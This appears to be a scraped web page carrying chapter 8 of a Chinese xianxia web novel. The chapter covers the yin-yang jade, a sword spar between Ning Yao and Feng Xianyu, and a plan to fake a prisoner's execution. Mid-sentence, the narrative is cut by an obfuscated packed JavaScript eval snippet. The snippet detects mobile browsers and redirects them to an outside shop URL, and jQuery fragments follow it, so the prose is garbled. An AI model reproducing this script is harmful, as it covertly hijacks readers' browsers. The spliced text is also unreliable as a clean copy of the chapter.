默认冷灰
24号文字
方正启体

8. 阴阳第三

作者:犹见月本书字数:K更新时间:
    静心峰。


    虞濯画自青雪峰出来后,便一头钻进藏书阁中。


    阁中光线并不清晰,一排排书架如林静立,空气中浮动着旧纸与墨香混杂的气息。她沿着窄廊走到最深处,指尖在书脊上一一划过,带起细微的灰尘。


    “小师叔,”宁瑶站在另一侧书柜之上,踮着脚从高处抽出一卷竹简,扬了扬手,“我找到了。”


    虞濯画快步走过去,接过那卷沉甸甸的竹简。封面上《九州珍物志》几个篆字已有些模糊,边缘已磨损发白。


    宁瑶翻到记载阴阳玉的一卷,指腹滑过字迹。


    “双鱼玉阴阳相吸,九丈之内,寸步相随。”她抬起头,“难怪你会被那玉石吸过去。”


    虞濯画拿过竹册,就着窗隙透进来的光,一目十行地扫下去。目光最终落在一处小字上,墨色已淡,笔迹却清晰。


    “阴玉择主,阳玉宿缘。”


    宁瑶凑过来看了一眼,若有所思:“也就是说,阴玉认你为主,阳玉便认与你有缘之人为主。”


    虞濯画扬手,竹简脱手飞出,稳稳落回原处。


    “那我不要了,”她摇头,认真的看着宁瑶,“瑶瑶,你还是拿回去吧。”


    宁瑶双手抱起,转身就往门外走:“那不行。都说是宿缘,我岂能毁了这缘分?”


    虞濯画跟上她,并肩走在廊下:“你是在何处寻到的?莫不是让人给骗了?”


    “素州有位玉衣仙,她曾救过我性命。”宁瑶放缓了脚步,声音里多了几分郑重,“阴阳玉便是她助我寻到的,不会有假。”


    “原来如此。”虞濯画眉眼弯起,“这百年,你受苦了。”


    宁瑶伸了个懒腰,日光落在她脸上,将那些风霜痕迹都照得模糊,“师叔常说,玉不琢不成器,你曾夸我是块璞玉,我怎会让师叔失望?”


    虞濯画抬眼,望向前山:“说起来,也该去见见你师父了。”


    孟易之与宁瑶先后回山,其师徐迟在引川滞留半日,料理后事,这才姗姗归宗。


    “好,我与师叔同去。”


    虞濯画正要下台阶,掌心忽然泛起一阵灼烧感。她蹙眉摊开手心,半块阴玉凭空出现在掌中,玉身滚烫,灵光流转。


    她心下一沉,转头去牵宁瑶,声音里带了几分懊恼:“完了。”


    书楼正对着一株百年兰花树,白花繁茂如雪,虬枝盘旋,在地上投下纵横交错的影子。


    树下站着一人。


    素色长衫,墨发竖起,身姿清拔如松,与满树白花相衬。


    宁瑶将手背在身后,朝树下抬了抬下巴。


    下一刻,虞濯画双脚悬空,整个人被一股不可抗拒的力道拽了过去。


    有了前车之鉴,这次倒不至于狼狈。她另一手迅速施法,稳住身形,最终落在封弦玉身前半步,衣袂堪堪擦过他袖口。


    封弦玉俯身行礼:“师尊。”


    虞濯画面色如常:“你怎么在这里?”


    “归还此玉。”他摊开手掌,阳玉静静躺在掌心,玉光温润。


    宁瑶站在不远处,声音隔着花影传来:“不必。阴阳玉已认你为主。”


    封弦玉垂眸看着掌中那半块玉,神色似有几分意外:“这便是阴阳玉?”


    是宁瑶为救裴云歇,寻了百年的阴阳玉。


    他眼中似有什么一闪而过,晦暗不明,很快便敛了下去。


    虞濯画耳畔风过,一道传音落入识海,是温孤年的声音,简洁而急促——


    “速来前山。”


    看来是鱼儿上钩了,她唇角勾起:“我还有事,你们聊。”


    虞濯画看了一眼手里的阴玉。九丈之内相随,那出了九丈的距离,便不会有效。想及此,她才将阴玉收入乾坤袋中,径自而去。


    封弦玉抬眼相望,那目光追着她的背影,很轻,像一片落花飘过水面,还没来得及看清,就已沉了下去。


    “常师弟。”


    宁瑶的声音将他拉回。她靠着树干,双手抱臂,眼底带着几分审视的意味。


    “听闻你是此次新入门的弟子中,天资最好的。”她挑了挑眉,“不如与我过两招?”


    封弦玉微微垂眸,声线平缓:“不敢当。”


    宁瑶不在多言,伸手虚握。树上兰花受她灵力所控,花瓣纷纷扬扬飘落,须臾间便凝出一柄长剑的模样。剑身通透,花脉清晰可见,隐隐透着锋锐之气。


    宁瑶修行醒春之道,掌控生机,草木皆兵。


    她出招极快,全然不给封弦玉反应时间。剑尖轻颤,直指眼前之人肩头。剑风清劲却不伤人,分寸拿捏得恰到好处,看起来确实是切磋该有的样子。


    封弦玉不慌不忙,唤出剑来格挡。利刃未出,只有剑鞘撞上那兰花灵剑时,发出的清越鸣响。


    “师弟,这是何意?”宁瑶眼神一转,剑势未收,语气却带了几分揶揄,“难不成,是怕我向师叔告状吗?”


    封弦玉没有答话。


    他手腕一转,剑刃斜挑而出,如秋水乍泄,直逼少女腕间。动作干净利落,没有半分拖泥带水。


    宁瑶足尖点地,身形翩然后撤,避开锋芒的同时,长剑旋出半弧,反削封弦玉身侧。


    寒光交叠,快得只剩残影。几息之间,两人已拆了十余招。


    宁瑶忽然收剑,退开半步,目光落在他身上,语气不辨喜怒:“常师弟的剑法,很像我们的一位故人。”


    封弦玉已随之收剑,立在她对面,神色平静:“多谢师姐指点。”


    宁瑶一怔:“我何时指点你了?”


    他淡声解释,声音不徐不疾:“这套归一剑法第二式,我始终无法突破。师姐方才那一剑,恰好点悟其中关窍。”


    宁瑶哑然。


    细想一番,他方才用的剑招,起承转合之间,确有万灵宗归一剑法在内。


    她笑了笑,转身走了。


    百年前,封弦玉的剑法,一招一式都是虞濯画教出来的。他们几人同窗数载,曾一同行走九州四海,月下习剑亦是常事,自然互相熟悉彼此的剑术。


    原本,宁瑶想着能试探他一番,却没想到这人三言两语便将她的试探化解于无形。


    不过也好。宁瑶走上石阶,日光在肩头碎成一片金。


    如此一来,倒让她对自己接下来的计划,多了几分把握。


    她瞥了一眼身后,封弦玉还静静站在原地,姿态恭逊。


    *


    虞濯画推开明正殿的门时,殿内已坐了两人。


    她只瞥了一眼背影,便认出温孤年身旁那人是谁。笑意攀上眉梢,她跨过门槛,声音清亮地唤了一声:“师兄。”


    徐迟闻声抬头。


    他面容刚毅,棱角分明,眼角几道细纹不显沧桑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374856|200043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,反倒添了几分经年历练的沉稳。周身气度厚重,像一座静默的山,不言不语时也让人不敢轻慢。


    “小师妹。”他放下茶盏,唇边漾开笑意,“别来无恙。”


    虞濯画走过去,在他对面落座,动作随意:“这么多年未见,师兄还真是一如既往年轻。”


    她拖长了尾音,语气里带着几分促狭。


    徐迟不接她的玩笑,一本正经道:“凡人寿数不过百载,修为精进一层,才可多得数百年华。”


    虞濯画摆摆手,提起茶壶给他二人添了茶,水流潺潺,茶香漫开:“所以,师兄和师侄,还不尽快修至归天境?”


    徐迟与温孤年听罢皆笑。闲谈几句后,几人便收了笑,说起正事。


    温孤年眉目不展,指尖轻轻叩着桌面:“今日掌刑长老前去废武京墨修为,发现寒牢中只余无相术的虚影,人早已不见了。”


    “昨夜才宣判,今日便劫狱,他背后之人的消息可真快。”虞濯画指腹摩挲着杯沿,目光清亮,“除了无方宗,怕是没人能在这么短的时间内,神不知鬼不觉地将人救走。”


    温孤年点头:“昨夜见他施展的无相术,绝非一朝一夕能练成,怕是早已与无方宗私下有往来。”


    在虞濯画来之前,徐迟已听温孤年提过此事,对前因后果也大致了解。他道:“能想出用人质作饵这招的,我一听便知是你。”


    虞濯画弯唇一笑,没有否认。


    “不过,”徐迟话锋一转,目光落在她脸上,带着几分审视,也带着几分关切,“无方宗敢来救人,便是已做好与万灵宗暗斗到底的打算。你又当如何应对?”


    虞濯画放下茶杯,指尖轻轻一点桌面:“自然是,顺水推舟,如君所愿。”


    温孤年细想片刻,眉间舒展几分:“你是想,当作不知道这件事?”


    虞濯画点头:“暂且压下劫狱之事,将那虚影好生看管。后日便是行刑之期,务必让所有人都知道,武京墨已伏诛,死在雷火之下。”


    徐迟连连点头,眼中露出赞许之色:“如此一来,武京墨在外人眼中便是死尸一具。那真正的武京墨行事必然受阻,更容易露出马脚。”


    虞濯画捏起茶杯,与他二人轻轻一碰,发出一声脆响。她眉眼弯弯,笑意里藏着几分狡黠:“无方宗貌合神离,让他们内部争斗去,咱们好坐收渔翁之利。”


    徐迟笑着摇了摇头,目光里映着茶汤的暖色,语气里带着几分追忆的怅然:“你与你师父当年,还真是一模一样。”


    桌上摆着温玉煮茶炉,符火跳跃,氤氲出淡淡白雾。


    黄昏不觉已至。


    虞濯画离开前山时,殿外灵禽掠空,残阳铺洒,将连绵云海染作鎏金。


    *


    残星碎月渐渐浮现,最后的天光在青雪峰山峦边缘消散。


    虞濯画踏入桃林,便听见了剑锋破空的声音。


    很轻,几乎都要化进风里。


    这青雪峰上,除了她,便只有今日搬来的封弦玉了。


    虞濯画侧耳听了片刻,绕过横斜的花枝看过去。


    少年一袭白衣,立于树下,身形清瘦,握剑的力道却稳。


    桃花纷纷扬扬,落在他的肩上。


    剑锋割开暮色,带起的花瓣贴在剑脊上,他轻轻一振,花瓣便飞旋而起,在空中打了几个转,重又落入满地落英中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)